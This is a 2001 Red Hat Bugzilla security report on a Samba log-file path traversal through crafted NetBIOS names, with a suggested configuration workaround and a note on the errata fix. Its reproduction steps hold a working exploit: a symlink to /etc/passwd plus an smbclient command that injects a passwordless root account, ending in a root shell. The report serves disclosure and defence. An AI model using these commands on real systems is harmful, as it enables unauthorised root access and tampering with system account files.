Bug 45645 - Log settings in configuration file allow system compromise
Log settings in configuration file allow system compromise
Status: CLOSED ERRATA
Product: Red Hat Linux
Classification: Retired
Component: samba (Show other bugs)
6.2
All Linux
medium Severity medium
: ---
: ---
Assigned To: Trond Eivind Glomsrxd
David Lawrence
http://us1.samba.org/samba/whatsnew/m...
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2001-06-24 11:00 EDT by peterw
Modified: 2007-04-18 12:33 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2001-06-24 13:58:52 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description peterw 2001-06-24 11:00:26 EDT
From Bugzilla Helper:
User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.2.19-6.2.1 i686)

Description of problem:
RHAT Samba config contains
log file = /var/log/samba/%m.log

By using unexpected values for netbios names, attackers can create new .log
files, or, using 
sym links, can append to existing files (/etc/passwd?). Michal Zalewski,
who reported the bug
on Bugtraq (and, apparently, to the Samba team), also reports that the
default Samba line of
log file = /var/log/samba/log.%m
may allow attackers to connect with invlid names containing "/" characters,
and evade logging.

How reproducible:
Always

Steps to Reproduce:
(from Michal's report)
1. ln -s /etc/passwd /tmp/x.log
2. smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n
../../../tmp/x -N
...where 'NIMUE' stands for local host name (few error messages
   should be returned).
3. su toor

Actual Results:  root shell

Expected Results:  user "toor" should not exist

Additional info:

Preferred configuration, until Samba releases a patch, is
log file = /var/log/samba/%I.log
or
log file = /var/log/samba/log.%I
which will make Smaba log by IP address, avoiding the "../" netbios name
attacks.
Comment 1 Trond Eivind Glomsrxd 2001-06-24 13:58:22 EDT
Updated (2.0.10) rpms for all releases, all architectures are currently in testing.
Comment 2 Trond Eivind Glomsrxd 2001-06-26 17:59:59 EDT
2.2.10 was released yesterday as a security errata for RHL 5.2, 6.2, 7 and 7.1.

Note You need to log in before you can comment on or make changes to this bug.